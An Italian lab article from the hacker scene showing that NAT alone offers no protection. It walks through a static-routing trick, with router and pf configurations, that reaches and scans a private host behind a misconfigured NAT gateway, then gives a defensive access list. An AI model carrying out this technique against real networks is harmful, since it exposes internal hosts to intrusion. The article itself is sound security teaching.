Autore: Alessio Pennasilico
Fonte:
NAT is not a security feature.
[email protected]
Key on pgp.mit.edu ID B88FE057
Scritto in fretta per il Moca
Credits
Vorrei ringraziare tutte quelle persone che appartengono alla scena italiana, molti dei quali sono cari amici. Voglio ringraziarli per il loro impegno, per le loro notti insonni, per il sacrificare parte di quella che gli umani chiamano real-life a favore del “fare cultura sulla rete, in rete”. Grazie al loro tempo, alla loro pazienza, agli articoli, le notti insonni (le loro e le mie), alle spiegazioni su irc, i litigi con i famigliari (ognuno con i propri, mogli o genitori che siano), ai loro siti ed ai loro programmi io oggi ho potuto scrivere questo piccolo inutile articolo, onorato di vederlo pubblicato su bfi. Grazie a loro chi si avvicina alla rete oggi, se desideroso di farlo, potra’ sapere domani cosa sta facendo e perche’ lo sta facendo.
Introduzione
Si parla moltissimo oggi di DPS (documento programmatico sulla sicurezza) e di adeguamento alle misure minime di sicurezza per le reti informatiche, secondo quanto previsto dalla legge italiana.
Uno dei requisiti e’ il firewall, spesso invocato come una sorta di panacea contro ogni male della Rete, in realta’ solo uno strumento che a se, tolto dal contesto, slegato da tutti gli altri strumenti *necessari* serve solo a soddisfare il nostro ego, a vantarsi con gli amici al bar. “Io ho il firewall”.
Pur tuttavia assisto ogni giorno alla ritrosia di stimati professionisti di fronte alla spesa che consentirebbe di alzare la sicurezza globale della loro rete, professionisti che non hanno reti enormi e complesse, una struttura IT, o le grandi cose che leggiamo sui giornali. Penso a quel popolo di milioni di utenti che ha una adsl, un routerino e tante informazioni su di me che mai vorrei finissero sull’hard disk di qualcun altro. Penso al mio medico di base, al mio avvocato, al mio commercialista, alla mia fidanzata, …
Il “firewall” non risolve ogni nostro problema, ma e’ comunque uno strumento necessario. Ho deciso di scrivere questo articolo in seguito ad alcune obiezioni rivolte a chi afferma che il NAT non e’ una “security feature”.
Il NAT, Network Address Translation, e’ molto utile per nascondere intere reti dietro ad un gateway, a rivelare meno informazioni circa la topologia della nostra rete interna, meno informazioni circa gli host che la compongono.
Il NAT e’ quindi utile, soprattutto se integrato nella topologia di rete nel modo corretto, ma *non e’ una security feature.*
Questo e’ tutto.
Cerchero’ qui di mostrare un semplice esempio di come il NAT, se utilizzato come unica protezione, renda estremamente vulnerabili a semplici attacchi che richiedono pochi e poveri mezzi per essere portati a termine.
L’esempio si basa su un attacco portato utilizzando del semplice routing statico da parte dell’attacker, grazie alla non corretta configurazione del gateway della vittima. Purtroppo questa non corretta configurazione e’ diffusissima su Internet, anche per macchine con funzionalita’ avanzate, ad esempio i router Cisco[1]. Non conosco, ed ho paura a scoprire, quali effetti abbiano queste tecniche su macchine da poche decine di euro, configurabili solo via web, senza la possibilita’ di implementare access-list ed altre security-feature.
Come si comporterebbe un simile apparecchio in una situazione cosi’ banale, o di fronte a traffico generato ad-hoc, ad esempio utilizzando le option relative al source-routing?
Topologia
victim <–lanvictim–> rtrvictim <–“internet”–> rtrattacker <–lanattacker–> attacker
La linux box, victim, ha indirizzo IP 172.16.1.1 e come default gateway 172.16.1.11.
questi vengono considerati indirizzi ip privati interni alla lan attaccata; tutto il traffico proveniente da questa rete, in uscita verso la nostra Internet simulata, viene nattato sull’indirizzo della seriale, 10.12.12.1, che fingeremo sia un ip pubblico appartenente ad Internet. Allo stesso modo fingeremo che anche 10.12.12.2 e 10.24.24.0/24 siano indirizzi ip pubblici appartenenti all’attaccante: lo scopo e’ generare traffico proveniente da 10.24.24.99, un qualsiasi host su internet, che sia in grado di raggiungere senza problemi direttamente l’ip privato 172.16.1.1. e magari farsi anche rispondere correttamente.
Configurazione rtrvictim (un 2500 con IOS 12.2.3T):
hostname rtrvictim ! interface Serial1 ip address 10.12.12.1 255.255.255.0 ip nat outside encapsulation ppp clockrate 38400 ! interface TokenRing0 ip address 172.16.1.11 255.255.255.0 ip nat inside ring-speed 16 ! ip nat inside source list 1 interface Serial1 overload ip classless ip route 0.0.0.0 0.0.0.0 Serial1 ! access-list 1 permit any
Configurazione rtrattacker (2610 con IOS 12.0.3):
hostname rtrattacker ! interface Ethernet0/0 ip address 10.24.24.2 255.255.255.0 ! interface Serial0/0 ip address 10.12.12.2 255.255.255.0 encapsulation ppp ! ip route 0.0.0.0 0.0.0.0 Serial0/0
Verifichiamo il corretto funzionamento della rete:
Testiamo la corretta configurazione della nostra “Internet” di esempio, osservando quale strada seguono i pacchetti da victim ad attacker:
victim# traceroute 10.24.24.99 traceroute to 10.24.24.99 (10.24.24.99), 30 hops max, 40 byte packets 1 172.16.1.11 (172.16.1.11) 3.050 ms 3.035 ms 3.379 ms 2 10.12.12.2 (10.12.12.2) 50.605 ms 46.163 ms 46.622 ms 3 10.24.24.99 (10.24.24.99) 53.058 ms 48.940 ms 51.020 ms
Osserviamo su rtrvictim il comportamento del nat, attraverso l’output di “deb ip nat detailed”:
2w5d: NAT: Allocated Port for 172.16.1.1 -> 10.12.12.1: wanted 34283 got 34283 2w5d: NAT: i: udp (172.16.1.1, 34283) -> (10.24.24.99, 33438) [34287] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.99 [34287] 2w5d: NAT: o: icmp (10.12.12.2, 33438) -> (10.12.12.1, 34283) [10] 2w5d: NAT: s=10.12.12.2, d=10.12.12.1->172.16.1.1 [10] 2w5d: NAT: i: udp (172.16.1.1, 34283) -> (10.24.24.99, 33439) [34288] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.99 [34288] 2w5d: NAT: o: icmp (10.12.12.2, 33439) -> (10.12.12.1, 34283) [11] 2w5d: NAT: s=10.12.12.2, d=10.12.12.1->172.16.1.1 [11] 2w5d: NAT: i: udp (172.16.1.1, 34283) -> (10.24.24.99, 33440) [34289] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.99 [34289] 2w5d: NAT: o: icmp (10.12.12.2, 33440) -> (10.12.12.1, 34283) [12] 2w5d: NAT: s=10.12.12.2, d=10.12.12.1->172.16.1.1 [12] 2w5d: NAT: i: udp (172.16.1.1, 34283) -> (10.24.24.99, 33441) [34290] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.99 [34290] 2w5d: NAT: o: icmp (10.24.24.99, 33441) -> (10.12.12.1, 34283) [48581] 2w5d: NAT: s=10.24.24.99, d=10.12.12.1->172.16.1.1 [48581] 2w5d: NAT: i: udp (172.16.1.1, 34283) -> (10.24.24.99, 33442) [34291] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.99 [34291] 2w5d: NAT: o: icmp (10.24.24.99, 33442) -> (10.12.12.1, 34283) [48582] 2w5d: NAT: s=10.24.24.99, d=10.12.12.1->172.16.1.1 [48582] 2w5d: NAT: i: udp (172.16.1.1, 34283) -> (10.24.24.99, 33443) [34292] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.99 [34292] 2w5d: NAT: o: icmp (10.24.24.99, 33443) -> (10.12.12.1, 34283) [48583] 2w5d: NAT: s=10.24.24.99, d=10.12.12.1->172.16.1.1 [48583]
Verificando contemporaneamente cosa arriva ad attacker:
attacker# tcpdump -nvi eth0 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 21:42:20.418402 IP (tos 0x0, ttl 1, id 34321, offset 0, flags [none], length: 40 10.12.12.1.34314 > 10.24.24.99.33441: [udp sum ok] UDP, length: 12 21:42:20.418477 IP (tos 0xc0, ttl 64, id 48587, offset 0, flags [none], length: 68) 10.24.24.99 > 10.12.12.1: icmp 48: 10.24.24.99 udp port 33441 unreachable 21:42:21.078449 IP (tos 0x0, ttl 1, id 34322, offset 0, flags [none], length: 40) 10.12.12.1.34314 > 10.24.24.99.33442: [udp sum ok] UDP, length: 12 21:42:21.078492 IP (tos 0xc0, ttl 64, id 48588, offset 0, flags [none], length: 68) 10.24.24.99 > 10.12.12.1: icmp 48: 10.24.24.99 udp port 33442 unreachable 21:42:21.129530 IP (tos 0x0, ttl 1, id 34323, offset 0, flags [none], length: 40) 10.12.12.1.34314 > 10.24.24.99.33443: [udp sum ok] UDP, length: 12 21:42:21.129571 IP (tos 0xc0, ttl 64, id 48589, offset 0, flags [none], length: 68) 10.24.24.99 > 10.12.12.1: icmp 48: 10.24.24.99 udp port 33443 unreachable
Fin qui tutto corretto, abbiamo simulato il solito ufficio con N computer collegati ad internet attraverso un router che transla il loro indirizzo in quello pubblico assegnato dal provider.
Ora, al fine del nostro esperimento, non serve configurare altro, trovandoci in una rete di esempio; se fossimo su Internet sarebbe necessario inserire sul router attaccante il seguente instradamento:
ip route 172.16.1.0 255.255.255.0 10.12.12.1
e ci saremmo portati in una situazione in cui l’esempio di cui sotto sarebbe funzionante, sempre a fronte di un router vittima configurato sommariamente e di un provider che non filtri i pacchetti da/per classi di indirizzi privati. Purtroppo non solo gli utenti (da mio padre con il modem alla multinazionale con Nmila sedi) spesso non filtrano il traffico che mai dovrebbe arrivare/andare su Internet, ma ancora molti, troppi ISP non lo fanno. Mettere access-list significa impegnare la CPU dei loro router, in presenza di molto traffico sarebbe neccessario acquistare per quel nodo un router piu’ potente, e quindi piu’ costoso. Meglio lasciare passare tutto. D’altro canto non dovremmo neppure fare conto sulle protezioni offerte dall’ISP, spesso inaffidabile e comunque fuori dal nostro controllo. Se sono stati adottati degli accorgimenti meglio, ma preferisco essere comunque “sicuramente” protetto dagli strumenti da me installati e configurati.
Vediamo ora del traffico generato dal router attaccante verso la vittima:
rtrattacker#ping Protocol [ip]: Target IP address: 172.16.1.1 Repeat count [5]: Datagram size [100]: Timeout in seconds [2]: Extended commands [n]: y Source address or interface: 10.24.24.2 Type of service [0]: Set DF bit in IP header? [no]: Validate reply data? [no]: Data pattern [0xABCD]: Loose, Strict, Record, Timestamp, Verbose[none]: v Loose, Strict, Record, Timestamp, Verbose[V]: Sweep range of sizes [n]: Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 172.16.1.1, timeout is 2 seconds: Reply to request 0 (68 ms) Reply to request 1 (64 ms) Reply to request 2 (64 ms) Reply to request 3 (69 ms) Reply to request 4 (64 ms) Success rate is 100 percent (5/5), round-trip min/avg/max = 64/65/69 ms
Verificando i pacchetti scambiati tra gli host con l’output del debug ip packet detailed:
00:38:45: IP: s=10.24.24.2 (local), d=172.16.1.1 (Serial0/0), len 100, sending 00:38:45: ICMP type=8, code=0 00:38:45: IP: s=10.12.12.1 (Serial0/0), d=10.24.24.2, len 100, rcvd 4 00:38:45: ICMP type=0, code=0 00:38:45: IP: s=10.24.24.2 (local), d=172.16.1.1 (Serial0/0), len 100, sending 00:38:45: ICMP type=8, code=0 00:38:45: IP: s=10.12.12.1 (Serial0/0), d=10.24.24.2, len 100, rcvd 4 00:38:45: ICMP type=0, code=0 00:38:45: IP: s=10.24.24.2 (local), d=172.16.1.1 (Serial0/0), len 100, sending 00:38:45: ICMP type=8, code=0 00:38:45: IP: s=10.12.12.1 (Serial0/0), d=10.24.24.2, len 100, rcvd 4 00:38:45: ICMP type=0, code=0 00:38:45: IP: s=10.24.24.2 (local), d=172.16.1.1 (Serial0/0), len 100, sending 00:38:45: ICMP type=8, code=0 00:38:45: IP: s=10.12.12.1 (Serial0/0), d=10.24.24.2, len 100, rcvd 4 00:38:45: ICMP type=0, code=0 00:38:45: IP: s=10.24.24.2 (local), d=172.16.1.1 (Serial0/0), len 100, sending 00:38:45: ICMP type=8, code=0 00:38:45: IP: s=10.12.12.1 (Serial0/0), d=10.24.24.2, len 100, rcvd 4 00:38:45: ICMP type=0, code=0
Sull’host vittima rileviamo il seguente traffico:
victim# tcpdump -nvi tr0 tcpdump: listening on tr0, link-type IEEE802 (Token ring), capture size 68 bytes 22:05:10.729034 IP (tos 0x0, ttl 254, id 10, offset 0, flags [none], length: 100) 10.24.24.2 > 172.16.1.1: icmp 80: echo request seq 4754 22:05:10.729089 IP (tos 0x0, ttl 64, id 16859, offset 0, flags [none], length: 100) 172.16.1.1 > 10.24.24.2: icmp 80: echo reply seq 4754 22:05:10.729182 IP (tos 0x0, ttl 64, id 16859, offset 0, flags [none], length: 100) 172.16.1.1 > 10.24.24.2: icmp 80: echo reply seq 4754 22:05:10.794643 IP (tos 0x0, ttl 254, id 11, offset 0, flags [none], length: 100) 10.24.24.2 > 172.16.1.1: icmp 80: echo request seq 4754 22:05:10.794661 IP (tos 0x0, ttl 64, id 16860, offset 0, flags [none], length: 100) 172.16.1.1 > 10.24.24.2: icmp 80: echo reply seq 4754 22:05:10.794748 IP (tos 0x0, ttl 64, id 16860, offset 0, flags [none], length: 100) 172.16.1.1 > 10.24.24.2: icmp 80: echo reply seq 4754 22:05:10.862128 IP (tos 0x0, ttl 254, id 12, offset 0, flags [none], length: 100) 10.24.24.2 > 172.16.1.1: icmp 80: echo request seq 4754 22:05:10.862142 IP (tos 0x0, ttl 64, id 16861, offset 0, flags [none], length: 100) 172.16.1.1 > 10.24.24.2: icmp 80: echo reply seq 4754 22:05:10.862232 IP (tos 0x0, ttl 64, id 16861, offset 0, flags [none], length: 100) 172.16.1.1 > 10.24.24.2: icmp 80: echo reply seq 4754 22:05:10.947797 IP (tos 0x0, ttl 254, id 13, offset 0, flags [none], length: 100) 10.24.24.2 > 172.16.1.1: icmp 80: echo request seq 4754 22:05:10.947842 IP (tos 0x0, ttl 64, id 16862, offset 0, flags [none], length: 100) 172.16.1.1 > 10.24.24.2: icmp 80: echo reply seq 4754 22:05:10.947931 IP (tos 0x0, ttl 64, id 16862, offset 0, flags [none], length: 100) 172.16.1.1 > 10.24.24.2: icmp 80: echo reply seq 4754 22:05:11.013019 IP (tos 0x0, ttl 254, id 14, offset 0, flags [none], length: 100) 10.24.24.2 > 172.16.1.1: icmp 80: echo request seq 4754 22:05:11.013035 IP (tos 0x0, ttl 64, id 16863, offset 0, flags [none], length: 100) 172.16.1.1 > 10.24.24.2: icmp 80: echo reply seq 4754 22:05:11.013122 IP (tos 0x0, ttl 64, id 16863, offset 0, flags [none], length: 100) 172.16.1.1 > 10.24.24.2: icmp 80: echo reply seq 4754
Da notare il comportamento del router vittima, sempre dal suo deb ip nat:
2w5d: NAT: Allocated Port for 172.16.1.1 -> 10.12.12.1: wanted 7845 got 7845 2w5d: NAT: i: icmp (172.16.1.1, 7845) -> (10.24.24.2, 7845) [16859] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.2 [16859] 2w5d: NAT: Allocated Port for 172.16.1.1 -> 10.12.12.1: wanted 7846 got 7846 2w5d: NAT: i: icmp (172.16.1.1, 7846) -> (10.24.24.2, 7846) [16860] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.2 [16860] 2w5d: NAT: Allocated Port for 172.16.1.1 -> 10.12.12.1: wanted 7847 got 7847 2w5d: NAT: i: icmp (172.16.1.1, 7847) -> (10.24.24.2, 7847) [16861] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.2 [16861] 2w5d: NAT: Allocated Port for 172.16.1.1 -> 10.12.12.1: wanted 7848 got 7848 2w5d: NAT: i: icmp (172.16.1.1, 7848) -> (10.24.24.2, 7848) [16862] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.2 [16862] 2w5d: NAT: Allocated Port for 172.16.1.1 -> 10.12.12.1: wanted 7849 got 7849 2w5d: NAT: i: icmp (172.16.1.1, 7849) -> (10.24.24.2, 7849) [16863] 2w5d: NAT: s=172.16.1.1->10.12.12.1, d=10.24.24.2 [16863]
Ci accorgiamo quindi che il router attaccante ci dice di avere ricevuto una risposta corretta al ping, nonostante le risposte provenissero da 10.22.22.1, l’indirizzo ip nattato. Questo significa che la stessa operazione dalla nostra macchina, attacker, potrebbe restituire un timeout …
attacker# ping -c 1 172.16.1.1 PING 172.16.1.1 (172.16.1.1) 56(84) bytes of data. 64 bytes from 10.12.12.1: icmp_seq=1 ttl=62 time=56.0 ms --- 172.16.1.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 56.007/56.007/56.007/0.000 ms
mentre invece, di nuovo, viene considerato onorato il ping, anche se le risposte provengono da 10.12.12.1, e non da 172.16.1.1. Sicuramente una connessione tcp non andrebbe a buon fine, richiedendo la corretta connessione, come infatti accade; chiaramente vi e’ realmente un server smtp in ascolto sulla porta 25 dell’host in oggetto.
attacker# telnet 172.16.1.1 25 Trying 172.16.1.1...
accade esattamente cio’ che ci aspettiamo, osservando l’output del “debug ip packet detailed” sul router attaccante:
00:52:02: IP: s=10.24.24.99 (Ethernet0/0), d=172.16.1.1 (Serial0/0), g=172.16.1.1, len 60, forward 00:52:02: TCP src=35144, dst=25, seq=2355321999, ack=0, win=5840 SYN 00:52:02: IP: s=10.12.12.1 (Serial0/0), d=10.24.24.99 (Ethernet0/0), g=10.24.24.99, len 60, forward 00:52:02: TCP src=25, dst=35144, seq=2438345870, ack=2355322000, win=12012 ACK SYN 00:52:02: IP: s=10.24.24.99 (Ethernet0/0), d=10.12.12.1 (Serial0/0), g=10.12.12.1, len 40, forward 00:52:02: TCP src=35144, dst=25, seq=2355322000, ack=0, win=0 RST
vediamo ora di metterci in grado di stabilire correttamente una connessione tcp.
Fingiamo di non essere in grado di poter riconfigurare il router remoto, e di avere a disposizione solo gli strumenti che ci mette a disposizione il nostro router, quello con cui portiamo l’attacco.
Abbiamo notato che le risposte, giustamente, tornano con l’indirizzo ip “pubblico”, quello nattato, non con l’ip dell’host che stiamo “analizzando”. Non avendo voglia di cercare o scrivere tool specifici, ma volendo utilizzare il normale telnet, possiamo nattare a nostra volta i pacchetti in arrivo, cosi’ da riceverli con l’ip corretto. Purtroppo l’ordine in cui IOS gestisce le operazioni e il modo in cui il nat viene gestito rende l’operazione complessa. Un modo semplicissimo per ottenere il nostro risultato e’ inserire tra il computer attacker e rtrattacker un pc con openbsd, con una installazione molto vicina al default e 3 righe di pf.conf.
Preso il nostro pc con 2 schede di rete, fxp0 ed fxp1, assegneremo 10.24.24.99, l’ip di attacker a fxp0, considerata esterna, ed un altro ip “pubblico” ad fxp1 ed all’host attacker, nell’ordine 10.16.99.99 e 10.16.99.24.
obsd # ifconfig fxp0 10.24.24.99 netmask 255.255.255.0 obsd # ifconfig fxp1 10.16.99.24 netmask 255.255.255.0
Inutile dire che qui ci rendiamo disponibili intere classi C di indirizzi ip pubblici, ma con una normalissima classe di 8 indirizzi e poco subnetting e’ possibile ottenere lo stesso risultato.
La struttura della nostra rete varia cosi’:
victim <–> rtrvictim <–“internet”–> rtrattacker <–> obsd <–> attacker
Di conseguenza sulla macchina openbsd dobbiamo abilitare il packet forwarding e dare gli instradamenti corretti:
obsd # route add default 10.24.24.2 add net default: gateway 10.24.24.2 obsd # route add -host 172.16.1.1 10.12.12.1 add host 172.16.1.1: gateway 10.12.12.1 obsd # sysctl -w net.inet.ip.forwarding=1 net.inet.ip.forwarding: 0 -> 1
a questo svuotiamo il file /etc/pf.conf e scriviamo solo le seguenti righe:
nat on fxp1 from 10.12.12.1/32 -> 172.16.1.1 static-port pass in all pass out all
Andiamo ora ad abilitare pf:
obsd # pfctl -e pf enabled obsd # pfctl -f /etc/pf.conf
Ci bastera’ ora, dal nosro client, attacker, collegarci al servizio voluto:
attacker# telnet 172.16.1.1 25 Trying 172.16.1.1... Connected to 172.16.1.1. Escape character is '^]'. 220 Blowfish me! helo p0rnz.it 250 mail.lotofp0rnz.it etrn getmyp0rnz.it 459 <getp0rnz.it>: service unavailable quit 221 Bye
Se non addirittura fare girare nmap contro la vittima:
attacker # nmap -sV -n -O -v 172.16.1.1 Starting nmap 3.55 ( http://www.insecure.org/nmap/ ) at 2004-07-21 00:46 CEST Host 172.16.1.1 appears to be up ... good. Initiating SYN Stealth Scan against 172.16.1.1 at 00:46 Adding open port 3000/tcp Adding open port 995/tcp Adding open port 443/tcp Adding open port 25/tcp Adding open port 80/tcp adjust_timeout: packet supposedly had rtt of 62932083 microseconds. Ignoring time. adjust_timeout: packet supposedly had rtt of 63040716 microseconds. Ignoring time. adjust_timeout: packet supposedly had rtt of 67065171 microseconds. Ignoring time. adjust_timeout: packet supposedly had rtt of 71514113 microseconds. Ignoring time. Adding open port 199/tcp Adding open port 29/tcp The SYN Stealth Scan took 104 seconds to scan 1660 ports. Initiating service scan against 7 services on 1 host at 00:48 The service scan took 86 seconds to scan 7 services on 1 host. For OSScan assuming that port 25 is open and port 1 is closed and neither are firewalled For OSScan assuming that port 25 is open and port 1 is closed and neither are firewalled Insufficient responses for TCP sequencing (0), OS detection may be less accurate Interesting ports on 172.16.1.1: (The 1625 ports scanned but not shown below are in state: closed) PORT STATE SERVICE VERSION 7/tcp filtered echo 9/tcp filtered discard 11/tcp filtered systat 13/tcp filtered daytime 19/tcp filtered chargen 21/tcp filtered ftp 23/tcp filtered telnet 25/tcp open smtp Postfix smtpd 29/tcp open msg-icp? 79/tcp filtered finger 80/tcp open http Apache httpd 113/tcp filtered auth 179/tcp filtered bgp 199/tcp open smux Linux SNMP multiplexer 443/tcp open ssl/http Apache httpd 512/tcp filtered exec 513/tcp filtered login 514/tcp filtered shell 515/tcp filtered printer 544/tcp filtered kshell 995/tcp open ssl/pop3 ipopd 2003.83 1720/tcp filtered H.323/Q.931 1984/tcp filtered bigbrother 1987/tcp filtered tr-rsrb-p1 1988/tcp filtered tr-rsrb-p2 1989/tcp filtered tr-rsrb-p3 1990/tcp filtered stun-p1 1991/tcp filtered stun-p2 1992/tcp filtered stun-p3 1994/tcp filtered stun-port 1996/tcp filtered tr-rsrb-port 2065/tcp filtered dlsrpn 2067/tcp filtered dlswpn 3000/tcp open ppp? 10000/tcp filtered snet-sensor-mgmt 1 service unrecognized despite returning data.<br/> If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port3000-TCP:V=3.55%D=7/21%Time=40FDA150%P=i686-pc-linux-gnu%r(GetReque SF:st,6A0,"HTTP/1.0x20200x20OKrnDate:x20Tue,x2020x20Julx202004x2 SF:022:52:16x20GMTrnCache-Control:x20max-age=3600,x20must-revalidate, SF:x20publicrnConnection:x20closenServer:x20ntop/3.0x20SourceForge SF:x20.tgzx20(i686-pc-linux-gnu)rnContent-Type:x20text/htmlrnLas SF:t-Modified:x20Thu,x2024x20Junx202004x2023:53:35x20GMTrnAccept-R SF:anges:x20bytesnContent-Length:x201399rnrn<!DOCTYPEx20HTMLx20PU SF:BLICx20"-//W3C//DTDx20HTMLx204.0x20Frameset//EN"x20"http://www SF:.w3.org/TR/REC-html40/frameset.dtd">n<!--x20ntopx20v3.0x20rele SF:ase,x20Burtonx20Strauss,x20Jan2004x20-->n<!--x20Thisx20pagex20w SF:illx20NOTx20validatex20asx20HTMLx204.01x20Transitionalnx20x20 SF:x20x20x20duex20tox20thex20extrax20parametersx20onx20thex20fra SF:mesetx20tagnnx20x20x20x20x20Ifx20youx20needx20w3cx20conform SF:ance,x20renamex20index_w3c.htmlnx20x20x20x20x20tox20index.ht SF:ml,x20althoughx20itx20won'tx20lookx20asx20goodnx20x20x20x20 SF:x20inx20realx20worldx20usage.n-->n<html>n<head>n<metax20http-e SF:quiv="Expires"x20content="0">n<metax20http-equiv="Pragma"x20c SF:ontent="no-cache">n<metax20http-equiv="Content-Style-Type"x20con SF:tent="text/css">n<metax20http-equiv="Window-target"x20cont")%r(H SF:TTPOptions,2CD,"HTTP/1.0x20501x20Notx20ImplementedrnDate:x20Tue, SF:x2020x20Julx202004x2022:52:17x20GMTrnCache-Control:x20no-cache SF:rnExpires:x200rnConnection:x20closenServer:x20ntop/3.0x20Sourc SF:eForgex20.tgzx20(i686-pc-linux-gnu)rnContent-Type:x20text/html SF:rnrn<HTML>n<HEAD>n<TITLE>Errorx20501</TITLE>n<METAx20HTTP-EQUIV SF:=Pragmax20CONTENT=no-cache>n<METAx20HTTP-EQUIV=Cache-Controlx20CONT SF:ENT=no-cache>n<LINKx20REL=stylesheetx20HREF="/style.css"x20type= SF:"text/css">n<SCRIPTx20SRC="/functions.js"x20TYPE="text/javascr SF:ipt"x20LANGUAGE="javascript"></SCRIPT>n</HEAD>n<BODYx20BACKGROUN SF:D="/white_bg.gif"x20BGCOLOR="#FFFFFF"x20LINK=bluex20VLINK=blue> SF:n<H1>Errorx20501</H1>nThex20requestedx20methodx20isx20notx20imp SF:lementedx20byx20thisx20server.n<P>Receivedx20request:<BR><BLOCKQU SF:OTE><TT>"OPTIONSx20/x20HTTP/1.0"</TT></BLOCKQUOTE>"); Device type: general purpose Running: Linux 2.4.X OS details: Linux 2.4.6 - 2.4.21, Linux 2.4.19 - 2.4.20, Linux 2.4.21 (x86) Nmap run completed -- 1 IP address (1 host up) scanned in 223.302 seconds
Naturalmente il risultato non pecca in precisione, ma per essere una macchina protetta direi che abbiamo ottenuto risultati inimmaginabili.
Chiaramente su rtrattacker, con un “debug ip packetdetailed”, possiamo verificare che i pacchetti in transito siano esattamente quelli che ci aspettiamo, osservando ad esempio il traffico durante la sessione telnet verso il server smtp:
6d03h: IP: s=10.12.12.1 (Serial0/0), d=10.16.99.24 (Ethernet0/0), g=10.24.24.99, len 60, forward 6d03h: TCP src=25, dst=34104, seq=3409507074, ack=2102743414, win=12012 ACK SYN 6d03h: IP: s=10.12.12.1 (Serial0/0), d=10.16.99.24 (Ethernet0/0), g=10.24.24.99, len 70, forward 6d03h: TCP src=25, dst=34104, seq=3409507075, ack=2102743414, win=12012 ACK PSH
Possiamo altresi’ verificare che in effetti e’ proprio la macchina openbsd ed il suo nat a permetterci la corretta connessione:
obsd # pfctl -s nat -v nat on fxp1 inet from 10.12.12.1 to any -> 172.16.1.1 static-port [ Evaluations: 4171 Packets: 2358 Bytes: 124441 States: 1 ]
La nostra tecnica quindi, lunga e laboriosa se si tratta di una rete con diversi host, poiche’dovremo variare la configurazione del nat per ogni host, funziona. Fin troppo bene oserei dire.
Inutile ricordare che pochi altri comandi e delle access-list ben scritte avrebbero potuto evitare un sacco di problemi. Senza scomodare il venerato stateful-firewall bastano poche righe di semplici access-list a fermare il bassotto di turno:
ip access-list extended outside remark non accetto traffico da indirizzi inutilizzabili deny ip host 0.0.0.0 any ! la seguente e' commentata perche' nel nostro esempio abbiamo ! utilizzato la classe 10.0.0.0/8 come fossero ip pubblici remark non accetto traffico dalla classe A pivata remark deny ip 10.0.0.0 0.255.255.255 any remark non accetto traffico dalla classe delle loopback deny ip 127.0.0.0 0.255.255.255 any remark non accetto traffico dalla classe dell'indirizzamento automatico degli host deny ip 169.254.0.0 0.0.255.255 any remark non accetto traffico dalla classe B pivata deny ip 172.16.0.0 0.15.255.255 any remark non accetto traffico deny ip 192.0.2.0 0.0.0.255 any remark non accetto traffico dalla classe C pivata deny ip 192.168.0.0 0.0.255.255 any deny ip 224.0.0.0 0.255.255.255 any remark non accetto traffico da indirizzi inutilizzabili deny ip host 255.255.255.255 any remark non accetto traffico proveniente da me stesso deny ip host 10.12.12.1 any remark accetto traffico diretto a me permit ip any host 10.12.12.1 remark tutto il resto lo voglio loggare deny ip any any log int s0 ip access-group outside in
questo produrrebbe i seguenti risultati, rifacendo il primo ping dell’attacco illustrato:
2w5d: %SEC-6-IPACCESSLOGDP: list outside denied icmp 10.24.24.99 -> 172.16.1.1 (0/0), 1 packet
ed uno sho access-list ci mostrerebbe i risultati voluti:
Extended IP access list outside
deny ip host 0.0.0.0 any
deny ip 127.0.0.0 0.255.255.255 any
deny ip 169.254.0.0 0.0.255.255 any
deny ip 172.16.0.0 0.15.255.255 any
deny ip 192.0.2.0 0.0.0.255 any
deny ip 192.168.0.0 0.0.255.255 any
deny ip 224.0.0.0 0.255.255.255 any
deny ip host 255.255.255.255 any
deny ip host 10.12.12.1 any
permit ip any host 10.12.12.1
deny ip any any log (14 matches)
Il tcpdump sull’host vittima e’ quantomeno silenzioso, mentre su attacker non vediamo alcun pacchetto di risposta. Il Deposito e’ salvo.
Aggiungo al mio rtrvictim anche un “no ip source-route” e sono sicuro di avere scongiurato anche il pericolo derivante da pacchetti creati ad-hoc per sovvertire il corretto routing.
Attenzione: se qualcuno sta pensando che io abbia utilizzato la tanto famosa, quanto oscura, tecnica del magico spoofing, no, non lo ho fatto. Ho sempre e solo utilizzato gli ip che realmente gli host hanno configurato senza mai intercettare o redirigere traffico, senza creare pacchetti ad-hoc, con indirizzi non da me utilizzati.
Ritengo palese che l’access-list presentata ben si addice ad un border gateway, il router che ci collega ad Internet ad esempio, o come inizio delle policy del nostro firewall. Non e’ assolutamente completa, ne’ esaustiva, filtra solo il traffico da indirizzi non accettabili ed accetta tutto quello davvero diretto ai nostri indirizzi pubblici. Il che significa che ancora molto spazio vi sarebbe per portare attacchi di altro genere, direttamente ai servizi pubblicati ad esempio.
Conclusione
Credo sia inutile spiegare, come al solito, che questa spiegazione e’ puramente informativa, vi diffido dal testare queste tecniche su macchine di non vostra proprieta’ ed ogni beneficio/danno che ne trarrete e’ di vostra ed esclusivamente vostra competenza, ed in nessun caso la redazione di bfi, lo staff di S0ftpj, di Metro Olografix, Spippolatori od io potremmo essere ritenuti responsabili per cio’ che avete deciso di fare con queste informazioni.
Non mi resta che salutare voi tutti, sperare che abbiate gia’ bevuto una birra, qui con me al moca [se non lo abbiamo ancora fatto forse siamo in tempo per rimediare], o che siate venuti a trovarmi nel simpatico gazebo ove campeggiano alcuni router, un paio di macchine ed una rete di test ove giocare con i tools a noi cari. Che il blowfish[2] sia sempre con voi.
un mayhem che cerca un posacenere vuoto …
